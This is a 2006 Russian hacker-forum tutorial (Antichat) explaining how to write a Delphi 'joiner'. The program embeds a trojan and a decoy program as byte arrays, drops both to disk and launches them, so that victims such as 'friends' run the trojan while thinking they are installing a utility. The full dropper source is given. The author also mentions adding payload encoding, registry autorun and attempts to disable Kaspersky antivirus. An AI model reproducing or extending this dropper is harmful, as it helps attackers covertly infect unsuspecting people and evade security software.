ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

.:Join-им 2 exe-шника ручками (using Delphi):.
  #1  
Старый 01.05.2006, 21:42
Аватар для xShreKx
xShreKx
Новичок
Регистрация: 02.07.2005
Сообщений: 13
Провел на форуме:
62343

Репутация: 20
Post .:Join-им 2 exe-шника ручками (using Delphi):.

В принципе, причиной написания статьи стало появление php joiner-а на hunger.ru (РЕКЛАМА nerezus, BUG(O)R – с вас причитается))) ). Но проблема в том, что ПОКА он джойнит только 0.5 Мб. Маловато, особенно когда хочешь друзьям подсунуть install какой-нить аудио-видио утилиты =) Поэтому я решил сам придумать способ сджойнить два exe файла. И, о боги! Получилось =)
Итак, статья о том, как «склеить» два исполняемых (да и не только) файла в один без использования joiner-ов. Для этого нам понадобятся:
- Borland Delphi (или другая среда/компилятор для Object Pascal) – 1 шт.;
- HEX-редактор (в моем случае – WinHEX 11.*) – 1 шт.;
- Руки (желательно прямые) – 2 шт.;

Шаг1. Получаем HEX exe-файлов.

Открываем WinHex-ом приготовленные для склейки exe-файлы. А теперь копируем HEX-код в формате для Pascal (массив байтов). В WinHex-е есть такая функция: Edit -> Copy All -> Pascal Source. Получаем нечто подобное:

Код 1.1
Код:
data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
…
);
Давайте, для «файла-троя» (а зачем еще джойнить?! =) ) мы будем использовать data, а для программы-прикрытия data2. ОК? =) Тогда у нас будет два массива data и data2, приблизительный вид которых представлен в Коде 1.1.

Такой способ позволяет нам сразу получить массив с байтами файла.
Конечно, можно, при отсутствии редактора, создать прикладную программу для того, чтобы автоматически получать HEX в формат pascal. Но, если захотите, этого я коснусь в продолжении к статье… (короче, узнаю – напишу )

Шаг2. Создание «joining» процесса.

Итак, первое, что нам понадобится - это процесс, который будет включать в себя склеенные файлы, а при запуске создавать отдельные файлы и запускать их.
Открываем Delphi. Нам, как всегда, предлагают «готовую» форму. Зачем она нам? Удаляем из проекта Unit1.pas. Теперь смотрим, что осталось: Project -> View Source.
Появляются сырцы project1.dpr:

Код 2.1
Код:
program Project1;

uses
  Forms;
// Не уверен, но тут может остаться Unit1 in 'Unit1.pas' {Form1}

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.
Даже удалив Unit1.pas, мы не избавились от всех гадостей, которые предлагает дядя Борланд и К: многовесящий, и в нашем случае бесполезный модуль Forms, содержащий в себе ту самую Application. Все сносим! Должно остаться

Код 2.2
Код:
program Project1;

uses

{$R *.res}

begin

end.
А вот теперь подключаем требуемые модули… Здесь вы можете проявить самостоятельность и воплотить все свои тайные желания
Но я лично пока ограничусь тремя обязательными в нашем случае библиотеками…
Это windows, classes и shellapi. Из первой мы получим Handle (hwnd) нашего процесса, вторая нам потребуется для создания файлов из файлового потока TFileStream а третья – для запуска этих файлов функцией ShellExecute.

Код 2.3
Код:
program Project1;

uses
windows, classes, shellapi;
{$R *.res}

begin

end.
Шаг 3. Объединение.

У нас есть:
1. Массивы с байтами двух exe-файлов
2. Невидимый процесс (он, конечно, видимый в ctrl+alt+del, но т.к. после запуска он и 1 секунды не живет, то бояться нечего =))
3. Прямые руки (Что? Нет? Блин…)
Отсюда вывод – объединим и будет счастье! Для этого прямыми руками (если нет своих, просим друзей) добавляем в Код 2.3 объявление двух переменных и двух констант. Получаем:





Код 3.1
Код:
program Project1;

uses
windows, classes, shellapi

{$R *.res}

var //тут описание переменных
Handle: hwnd; //Переменная для хранения handle нашего процесса
Exe: TFileStream; //Файловый поток
const
data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов нашего троя
data2: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов программы-подставы

begin 

end.
А между begin и end делаем следующее:
1.Получаем Handle своего процесса: Handle:=GetModuleHandle(nil); Он нам понадобится для вызова ShellExecute.
2. Создаем Файловый поток Exe:=TFileStream.create('Путь/filename.exe',fmcreate); Где заменяете Путь/filename на свой путь и имя файла – это файл, который будет работать как программа-. Опять же тут возможны вариации. Лично для своих целей я написал функцию поиска каталога %windir%/system32 =)
3. Заполняем Файловый поток байтами программы-прикрытия с нашего первого массива exe.Write(data2,кол-во байтов в файле); Кол-во байтов можно узнать из свойств exe-файла.
4. exe.Free; //no comments =)
5. А теперь запускаем созданный файл: ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); Понятно, что путь и имя файла должны совпадать с заданными в пункте 2.
А теперь то же самое проделываем с массивом байтов нашего троя. Вот конечный код программы:

Код 3.2
Код:
program Project1;

uses
windows, classes, shellapi

{$R *.res}

var //тут описание переменных
Handle: hwnd; //Переменная для хранения handle нашего процесса
Exe: TFileStream; //Файловый поток
const
data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов нашего троя
data2: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов программы-подставы

begin //поехали…
Handle:=GetModuleHandle(nil); //Получаем Handle
Exe:=TFileStream.create('Путь/filename.exe',fmcreate); //Инициализация Файлового потока для программы-подставы
exe.Write(data2,1968634);//Запись в поток массива байтов программы-подставы
exe.Free; //освобождаем поток
ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); //Запускаем программу-подставу

Exe:=TFileStream.create('Путь2/filename2.exe',fmcreate); //Инициализация Файлового потока для Трояна
exe.Write(data,1968634);//Запись в поток массива байтов трояна
exe.Free; //освобождаем поток
ShellExecute(Handle,'open','имя файла2',nil,’путь_к_файлу2’,0); //Запускаем Трояна.
end.
---------------------------------------------------
Замечание.
Это примитивный код, который в принципе не даст вам многого. Но лично я в своем варианте добавил кодировку байтов Трояна, запись его в автозагрузку через реестр и сейчас пытаюсь незаметно убить к@$пер$кого.

Так что если тема вам интересна, попытаюсь развить =)

З.Ы.
Ругаться - ICQ 28555888
P.P.S
Афтар – я, xShreKx Соблюдайте

Последний раз редактировалось xShreKx; 28.05.2006 в 11:38..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ